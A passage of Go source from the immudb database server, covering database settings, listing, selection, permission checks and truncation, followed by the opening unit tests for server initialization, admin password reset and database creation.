!= nil { return nil, err } return &schema.DeleteDatabaseResponse{ Database: req.Database, }, nil } // UpdateDatabase Updates database settings func (s *ImmuServer) UpdateDatabase(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) { if req == nil { return nil, ErrIllegalArguments } _, err := s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: req.DatabaseName, Settings: dbSettingsToDBNullableSettings(req), }) if err != nil { return nil, err } return &empty.Empty{}, nil } // UpdateDatabaseV2 Updates database settings func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDatabaseRequest) (res *schema.UpdateDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("updating database settings for '%s'...", req.Database) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully updated", req.Database) } else { s.Logger.Infof("database '%s' could not be updated. Reason: %v", req.Database, err) } }() if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } //if the requesting user has admin permission on this database if (!user.IsSysAdmin) && (!user.HasPermission(req.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() dbOpts, err := s.loadDBOptions(req.Database, false) if err == store.ErrKeyNotFound { return nil, database.ErrDatabaseNotExists } if err != nil { return nil, fmt.Errorf("%w: while loading database settings", err) } db, err := s.dbList.GetByName(req.Database) if err != nil { return nil, err } if req.Settings.ReplicationSettings != nil && !db.IsClosed() { err = s.stopReplicationFor(req.Database) if err != nil && err != ErrReplicationNotInProgress { return nil, fmt.Errorf("%w: while stopping replication", err) } } if req.Settings.TruncationSettings != nil && !db.IsClosed() { err = s.stopTruncatorFor(req.Database) if err != nil && err != ErrTruncatorNotInProgress { return nil, fmt.Errorf("%w: while stopping truncation", err) } } err = s.overwriteWith(dbOpts, req.Settings, true) if err != nil { return nil, err } dbOpts.UpdatedBy = user.Username err = s.saveDBOptions(dbOpts) if err != nil { return nil, fmt.Errorf("%w: while saving updated settings", err) } s.logDBOptions(db.GetName(), dbOpts) if !db.IsClosed() { db.AsReplica(dbOpts.Replica, dbOpts.SyncReplication, dbOpts.SyncAcks) } if req.Settings.ReplicationSettings != nil && !db.IsClosed() { err = s.startReplicationFor(db, dbOpts) if err != nil && err != ErrReplicatorNotNeeded { return nil, fmt.Errorf("%w: while staring replication", err) } } if req.Settings.TruncationSettings != nil && !db.IsClosed() { err = s.startTruncatorFor(db, dbOpts) if err != nil && err != ErrTruncatorNotNeeded { return nil, fmt.Errorf("%w: while starting truncation", err) } } return &schema.UpdateDatabaseResponse{ Database: req.Database, Settings: dbOpts.databaseNullableSettings(), }, nil } func (s *ImmuServer) GetDatabaseSettings(ctx context.Context, _ *empty.Empty) (*schema.DatabaseSettings, error) { res, err := s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{}) if err != nil { return nil, err } ret := &schema.DatabaseSettings{ DatabaseName: res.Database, } if res.Settings.ReplicationSettings != nil { if res.Settings.ReplicationSettings.Replica != nil { ret.Replica = res.Settings.ReplicationSettings.Replica.Value } if res.Settings.ReplicationSettings.PrimaryDatabase != nil { ret.PrimaryDatabase = res.Settings.ReplicationSettings.PrimaryDatabase.Value } if res.Settings.ReplicationSettings.PrimaryHost != nil { ret.PrimaryHost = res.Settings.ReplicationSettings.PrimaryHost.Value } if res.Settings.ReplicationSettings.PrimaryPort != nil { ret.PrimaryPort = res.Settings.ReplicationSettings.PrimaryPort.Value } if res.Settings.ReplicationSettings.PrimaryUsername != nil { ret.PrimaryUsername = res.Settings.ReplicationSettings.PrimaryUsername.Value } if res.Settings.ReplicationSettings.PrimaryPassword != nil { ret.PrimaryPassword = res.Settings.ReplicationSettings.PrimaryPassword.Value } } if res.Settings.FileSize != nil { ret.FileSize = res.Settings.FileSize.Value } if res.Settings.MaxKeyLen != nil { ret.MaxKeyLen = res.Settings.MaxKeyLen.Value } if res.Settings.MaxValueLen != nil { ret.MaxValueLen = res.Settings.MaxValueLen.Value } if res.Settings.MaxTxEntries != nil { ret.MaxTxEntries = res.Settings.MaxTxEntries.Value } if res.Settings.ExcludeCommitTime != nil { ret.ExcludeCommitTime = res.Settings.ExcludeCommitTime.Value } return ret, nil } func (s *ImmuServer) GetDatabaseSettingsV2(ctx context.Context, _ *schema.DatabaseSettingsRequest) (*schema.DatabaseSettingsResponse, error) { db, err := s.getDBFromCtx(ctx, "DatabaseSettings") if err != nil { return nil, err } dbOpts, err := s.loadDBOptions(db.GetName(), false) if err != nil { return nil, err } return &schema.DatabaseSettingsResponse{ Database: db.GetName(), Settings: dbOpts.databaseNullableSettings(), }, nil } // DatabaseList returns a list of databases based on the requesting user permissions func (s *ImmuServer) DatabaseList(ctx context.Context, _ *empty.Empty) (*schema.DatabaseListResponse, error) { dbsWithSettings, err := s.DatabaseListV2(ctx, &schema.DatabaseListRequestV2{}) if err != nil { return nil, err } resp := &schema.DatabaseListResponse{} if len(dbsWithSettings.Databases) > 0 { resp.Databases = make([]*schema.Database, len(dbsWithSettings.Databases)) } for i, db := range dbsWithSettings.Databases { resp.Databases[i] = &schema.Database{DatabaseName: db.Name} } return resp, nil } // DatabaseList returns a list of databases based on the requesting user permissions func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseListRequestV2) (*schema.DatabaseListResponseV2, error) { if !s.Options.GetAuth() { return nil, fmt.Errorf("this command is available only with authentication on") } resp := &schema.DatabaseListResponseV2{} databases, err := s.listLoggedInUserDatabases(ctx) if err != nil { return nil, err } for _, db := range databases { dbName := db.GetName() dbOpts, err := s.loadDBOptions(dbName, false) if err != nil { return nil, err } size, err := dirSize(filepath.Join(s.Options.Dir, dbName)) if err != nil { return nil, err } state, err := db.CurrentState() if err != nil { return nil, err } info := &schema.DatabaseInfo{ Name: db.GetName(), Settings: dbOpts.databaseNullableSettings(), Loaded: !db.IsClosed(), DiskSize: uint64(size), NumTransactions: state.TxId, CreatedAt: uint64(dbOpts.CreatedAt.Unix()), CreatedBy: dbOpts.CreatedBy, } resp.Databases = append(resp.Databases, info) } return resp, nil } func (s *ImmuServer) listLoggedInUserDatabases(ctx context.Context) ([]database.DB, error) { _, loggedInuser, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("please login") } databases := make([]database.DB, 0, s.dbList.Length()) if loggedInuser.IsSysAdmin || s.Options.GetMaintenance() { for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) if err == database.ErrDatabaseNotExists { continue } if err != nil { return nil, err } databases = append(databases, db) } } else { for _, perm := range loggedInuser.Permissions { db, err := s.dbList.GetByName(perm.Database) if err == database.ErrDatabaseNotExists { continue } if err != nil { return nil, err } databases = append(databases, db) } } return databases, nil } // UseDatabase ... func (s *ImmuServer) UseDatabase(ctx context.Context, req *schema.Database) (*schema.UseDatabaseReply, error) { if req == nil { return nil, ErrIllegalArguments } user := &auth.User{} var err error if s.Options.GetAuth() { _, user, err = s.getLoggedInUserdataFromCtx(ctx) if err != nil { if strings.HasPrefix(fmt.Sprintf("%s", err), "token has expired") { return nil, status.Error(codes.PermissionDenied, err.Error()) } return nil, status.Errorf(codes.Unauthenticated, "Please login") } } else { if !s.Options.GetMaintenance() { return nil, fmt.Errorf("this command is available only with authentication on") } user.IsSysAdmin = true user.Username = "" s.addUserToLoginList(user) } dbid := sysDBIndex db := s.sysDB if req.DatabaseName != SystemDBName { //check if database exists dbid = s.dbList.GetId(req.DatabaseName) if dbid < 0 { return nil, errors.New(fmt.Sprintf("'%s' does not exist", req.DatabaseName)).WithCode(errors.CodInvalidDatabaseName) } db, err = s.dbList.GetByIndex(dbid) if err != nil { return nil, err } if db.IsClosed() { return nil, store.ErrAlreadyClosed } } //check if this user has permission on this database //if sysadmin allow to continue if (!user.IsSysAdmin) && (!user.HasPermission(req.DatabaseName, auth.PermissionAdmin)) && (!user.HasPermission(req.DatabaseName, auth.PermissionR)) && (!user.HasPermission(req.DatabaseName, auth.PermissionRW)) { return nil, status.Errorf(codes.PermissionDenied, "Logged in user does not have permission on this database") } token, err := auth.GenerateToken(*user, int64(dbid), s.Options.TokenExpiryTimeMin) if err != nil { return nil, err } if auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth { sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } sess, err := s.SessManager.GetSession(sessionID) if err != nil { return nil, err } sess.SetDatabase(db) } return &schema.UseDatabaseReply{ Token: token, }, nil } // getDBFromCtx checks if user (loggedin from context) has access to methodName. // returns selected database func (s *ImmuServer) getDBFromCtx(ctx context.Context, methodName string) (database.DB, error) { //if auth is disabled and there is not user created databases returns defaultdb if !s.Options.auth && !s.multidbmode && !s.Options.GetMaintenance() { db, _ := s.dbList.GetByIndex(defaultDbIndex) return db, nil } if s.Options.GetMaintenance() && !auth.IsMaintenanceMethod(methodName) { return nil, ErrNotAllowedInMaintenanceMode } ind, usr, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { if strings.HasPrefix(fmt.Sprintf("%s", err), "token has expired") { return nil, status.Error(codes.PermissionDenied, err.Error()) } if s.Options.GetMaintenance() && !s.Options.auth { return nil, fmt.Errorf("please select database first") } return nil, err } if ind < 0 { return nil, fmt.Errorf("please select a database first") } // systemdb is always read-only from external access if ind == sysDBIndex && !auth.IsMaintenanceMethod(methodName) { return nil, ErrPermissionDenied } var db database.DB if ind == sysDBIndex { db = s.sysDB } else { db, err = s.dbList.GetByIndex(ind) if err != nil { return nil, err } } if usr.IsSysAdmin { return db, nil } if ok := auth.HasPermissionForMethod(usr.WhichPermission(db.GetName()), methodName); !ok { return nil, ErrPermissionDenied } return db, nil } // isValidDBName checks if the provided database name meets the requirements func isValidDBName(dbName string) error { if len(dbName) < 1 || len(dbName) > 128 { return fmt.Errorf("database name length outside of limits") } var hasSpecial bool for _, ch := range dbName { switch { case unicode.IsLower(ch): case unicode.IsDigit(ch): case ch == '_': case unicode.IsPunct(ch) || unicode.IsSymbol(ch): hasSpecial = true default: return fmt.Errorf("unrecognized character in database name") } } if hasSpecial { return fmt.Errorf("punctuation marks and symbols are not allowed in database name") } return nil } // checkMandatoryAuth checks if auth should be madatory for immudb to start func (s *ImmuServer) mandatoryAuth() bool { if s.Options.GetMaintenance() { return false } //check if there are user created databases, should be zero for auth to be off if s.dbList.Length() > 1 { return true } //check if there is only sysadmin on systemdb and no other user itemList, err := s.sysDB.Scan(context.Background(), &schema.ScanRequest{ Prefix: []byte{KeyPrefixUser}, }) if err != nil { s.Logger.Errorf("error getting users: %v", err) return true } for _, val := range itemList.Entries { if len(val.Key) > 2 { if auth.SysAdminUsername != string(val.Key[1:]) { //another user detected return true } } } //systemdb exists but there are no other users created return false } func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (res *schema.TruncateDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("truncating database '%s'...", req.Database) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully truncated", req.Database) } else { s.Logger.Infof("database '%s' could not be truncated. Reason: %v", req.Database, err) } }() if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } //if the requesting user has admin permission on this database if (!user.IsSysAdmin) && (!user.HasPermission(req.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } if req.RetentionPeriod < 0 || (req.RetentionPeriod > 0 && req.RetentionPeriod < store.MinimumRetentionPeriod.Milliseconds()) { return nil, fmt.Errorf( "%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours", ErrIllegalArguments, req.Database, store.MinimumRetentionPeriod) } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() db, err := s.dbList.GetByName(req.Database) if err != nil { return nil, err } rp := time.Duration(req.RetentionPeriod) * time.Millisecond // check if truncator already exists for the database var t *truncator.Truncator t, err = s.getTruncatorFor(db.GetName()) if err == ErrTruncatorDoesNotExist { t = truncator.NewTruncator(db, rp, 0, s.Logger) } err = t.Truncate(ctx, rp) if err != nil { return nil, err } return &schema.TruncateDatabaseResponse{ Database: req.Database, }, nil } ================================================ FILE: pkg/server/server_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "bytes" "context" "crypto/tls" "errors" "fmt" "io/ioutil" "os" "path" "path/filepath" "strings" "testing" "time" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/cert" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/stream" "golang.org/x/crypto/bcrypt" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/immuos" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" "google.golang.org/protobuf/types/known/emptypb" ) var testDatabase = "lisbon" var testUsername = []byte("sagrada") var testPassword = []byte("Familia@2") var testKey = []byte("Antoni") var testValue = []byte("Gaudí") var kvs = []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, { Key: []byte("Franz"), Value: []byte("Clamer"), }, } func testServer(opts *Options) (*ImmuServer, func()) { s := DefaultServer().WithOptions(opts).(*ImmuServer) return s, func() { s.CloseDatabases() if s.Listener != nil { s.Listener.Close() } } } func TestLogErr(t *testing.T) { logger := logger.NewSimpleLogger("immudb ", os.Stderr) require.Nil(t, logErr(logger, "error: %v", nil)) err := fmt.Errorf("expected error") require.ErrorIs(t, logErr(logger, "error: %v", err), err) } func TestServerDefaultDatabaseLoad(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s, closer := testServer(opts) defer closer() options := database.DefaultOptions().WithDBRootPath(dir) dbRootpath := options.GetDBRootPath() err := s.loadDefaultDatabase(dbRootpath, nil) require.NoError(t, err) require.DirExists(t, path.Join(dbRootpath, DefaultDBName)) } func TestServerReOpen(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) require.NoError(t, err) closer() s, closer = testServer(serverOptions) defer closer() err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) require.NoError(t, err) require.DirExists(t, path.Join(options.GetDBRootPath(), DefaultOptions().GetSystemAdminDBName())) } func TestServerSystemDatabaseLoad(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) require.NoError(t, err) require.DirExists(t, path.Join(options.GetDBRootPath(), DefaultOptions().GetSystemAdminDBName())) } func TestServerResetAdminPassword(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() var txID uint64 t.Run("Create new database", func(t *testing.T) { s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, "password1", false) require.NoError(t, err) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.NoError(t, err) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.ErrorContains(t, err, "password") txID, err = s.sysDB.TxCount() require.NoError(t, err) }) t.Run("Run db without resetting password", func(t *testing.T) { s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, "password2", false) require.NoError(t, err) currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID, currTxID) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.NoError(t, err) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.ErrorContains(t, err, "password") }) t.Run("Run db with password reset", func(t *testing.T) { s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, "password2", true) require.NoError(t, err) // There should be new TX with updated password currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID+1, currTxID) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.ErrorContains(t, err, "password") _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.NoError(t, err) }) t.Run("Run db with password reset but no new tx", func(t *testing.T) { s, closer := testServer(serverOptions) defer closer() err := s.loadSystemDatabase(dbRootpath, nil, "password2", true) require.NoError(t, err) // No ne TX is needed currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID+1, currTxID) _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password1")) require.ErrorContains(t, err, "password") _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.NoError(t, err) }) } type dbMockResetAdminPasswordCornerCases struct { database.DB setErr error } func (d *dbMockResetAdminPasswordCornerCases) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return nil, d.setErr } func TestResetAdminPasswordCornerCases(t *testing.T) { t.Run("Do not allow changing sysadmin password if running as a systemdb replica", func(t *testing.T) { opts := DefaultOptions().WithDir(t.TempDir()) opts.ReplicationOptions.WithIsReplica(true) s, closer := testServer(opts) defer closer() err := s.Initialize() require.NoError(t, err) _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "database is running as a replica") }) t.Run("Failure to read the current sysadmin user ", func(t *testing.T) { opts := DefaultOptions().WithDir(t.TempDir()) s, closer := testServer(opts) defer closer() err := s.Initialize() require.NoError(t, err) err = s.CloseDatabases() require.NoError(t, err) _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) t.Run("Failure to read the current sysadmin user", func(t *testing.T) { opts := DefaultOptions().WithDir(t.TempDir()) s, closer := testServer(opts) defer closer() err := s.Initialize() require.NoError(t, err) err = s.CloseDatabases() require.NoError(t, err) _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) t.Run("Invalid password", func(t *testing.T) { opts := DefaultOptions().WithDir(t.TempDir()) s, closer := testServer(opts) defer closer() err := s.Initialize() require.NoError(t, err) _, err = s.resetAdminPassword(context.Background(), "") require.ErrorContains(t, err, "password is empty") }) t.Run("Failing to save sysadmin user", func(t *testing.T) { opts := DefaultOptions().WithDir(t.TempDir()) s, closer := testServer(opts) defer closer() err := s.Initialize() require.NoError(t, err) injectedErr := errors.New("injected error") s.sysDB = &dbMockResetAdminPasswordCornerCases{ DB: s.sysDB, setErr: injectedErr, } _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorIs(t, err, injectedErr) }) } func TestServerWithEmptyAdminPassword(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword("") s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.ErrorIs(t, err, ErrEmptyAdminPassword) } func TestServerWithInvalidAdminPassword(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword("enc:*") s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.ErrorContains(t, err, "error decoding password from base64 string") } func TestServerErrChunkSizeTooSmall(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithStreamChunkSize(4095) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.ErrorContains(t, err, stream.ErrChunkTooSmall) } func TestServerCreateDatabase(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.CreateDatabase(ctx, nil) require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.DatabaseSettings{ DatabaseName: "lisbon", Replica: false, PrimaryDatabase: "primarydb", } _, err = s.CreateDatabaseWith(ctx, dbSettings) require.ErrorIs(t, err, ErrIllegalArguments) newdb := &schema.Database{ DatabaseName: "lisbon", } _, err = s.CreateDatabase(ctx, newdb) require.NoError(t, err) } func TestServerCreateDatabaseCaseError(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) newdb := &schema.DatabaseSettings{ DatabaseName: "MyDatabase", } md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) newdb.DatabaseName = strings.ToLower(newdb.DatabaseName) _, err = s.CreateDatabaseWith(ctx, newdb) require.ErrorIs(t, err, database.ErrDatabaseAlreadyExists) } func TestServerCreateMultipleDatabases(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) for i := 0; i < 64; i++ { dbname := fmt.Sprintf("db%d", i) dbSettings := &schema.DatabaseNullableSettings{ PreallocFiles: &schema.NullableBool{Value: false}, } _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: dbname, Settings: dbSettings, }) require.NoError(t, err) uR, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: dbname}) require.NoError(t, err) md := metadata.Pairs("authorization", uR.Token) ctx := metadata.NewIncomingContext(context.Background(), md) _, err = s.Set(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: testKey, Value: testValue, }, }, }) require.NoError(t, err) } err = s.CloseDatabases() require.NoError(t, err) } func TestServerUpdateDatabaseAuthDisabled(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithAuth(false) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) _, err = s.UpdateDatabase(context.Background(), &schema.DatabaseSettings{}) require.ErrorIs(t, err, ErrAuthMustBeEnabled) } func TestServerUpdateDatabaseAuthEnabled(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithAuth(true) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) ctx := context.Background() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UpdateDatabase(ctx, nil) require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.DatabaseSettings{ DatabaseName: serverOptions.defaultDBName, } _, err = s.UpdateDatabase(ctx, dbSettings) require.ErrorIs(t, err, ErrReservedDatabase) dbSettings = &schema.DatabaseSettings{ DatabaseName: fmt.Sprintf("nodb%v", time.Now()), } _, err = s.UpdateDatabase(ctx, dbSettings) require.ErrorIs(t, err, database.ErrDatabaseNotExists) newdb := &schema.DatabaseSettings{ DatabaseName: "lisbon", Replica: true, PrimaryDatabase: "defaultdb", } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) newdb.Replica = false newdb.PrimaryDatabase = "" _, err = s.UpdateDatabase(ctx, newdb) require.NoError(t, err) dbOpts, err := s.loadDBOptions("lisbon", false) require.NoError(t, err) require.Equal(t, false, dbOpts.Replica) } func TestServerUpdateDatabaseV2AuthDisabled(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithAuth(false) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) ctx := context.Background() _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{}) require.ErrorIs(t, err, ErrAuthMustBeEnabled) } func TestServerUpdateDatabaseV2AuthEnabled(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithAuth(true) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UpdateDatabaseV2(ctx, nil) require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.UpdateDatabaseRequest{ Database: serverOptions.defaultDBName, } _, err = s.UpdateDatabaseV2(ctx, dbSettings) require.ErrorIs(t, err, ErrReservedDatabase) dbSettings = &schema.UpdateDatabaseRequest{ Database: fmt.Sprintf("nodb%v", time.Now()), } _, err = s.UpdateDatabaseV2(ctx, dbSettings) require.ErrorIs(t, err, database.ErrDatabaseNotExists) newdb := &schema.CreateDatabaseRequest{ Name: "lisbon", Settings: &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, PrimaryDatabase: &schema.NullableString{Value: "defaultdb"}, }, }, IfNotExists: true, } res, err := s.CreateDatabaseV2(ctx, newdb) require.NoError(t, err) require.NotNil(t, res) require.False(t, res.AlreadyExisted) res, err = s.CreateDatabaseV2(ctx, newdb) require.NoError(t, err) require.NotNil(t, res) require.True(t, res.AlreadyExisted) dbSettings = &schema.UpdateDatabaseRequest{ Database: "lisbon", Settings: &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: false}, }, }, } _, err = s.UpdateDatabaseV2(ctx, dbSettings) require.NoError(t, err) dbOpts, err := s.loadDBOptions("lisbon", false) require.NoError(t, err) require.Equal(t, false, dbOpts.Replica) dbSettings = &schema.UpdateDatabaseRequest{ Database: "lisbon", Settings: &schema.DatabaseNullableSettings{ WriteTxHeaderVersion: &schema.NullableUint32{Value: 99999}, }, } _, err = s.UpdateDatabaseV2(ctx, dbSettings) require.ErrorIs(t, err, ErrIllegalArguments) } func TestServerLoaduserDatabase(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) newdb := &schema.DatabaseSettings{ DatabaseName: testDatabase, } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) err = s.CloseDatabases() require.NoError(t, err) time.Sleep(1 * time.Second) if s.dbList.Length() != 2 { t.Fatalf("LoadUserDatabase error %d", s.dbList.Length()) } } func TestServerLoadUserDatabasesImmudb_1_1_0(t *testing.T) { dir := filepath.Join(t.TempDir(), "data_v1.1.0") copier := fs.NewStandardCopier() require.NoError(t, copier.CopyDir("../../test/data_v1.1.0", dir)) serverOptions := DefaultOptions().WithMetricsServer(false).WithDir(dir) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) err = s.loadUserDatabases(s.Options.Dir, nil) 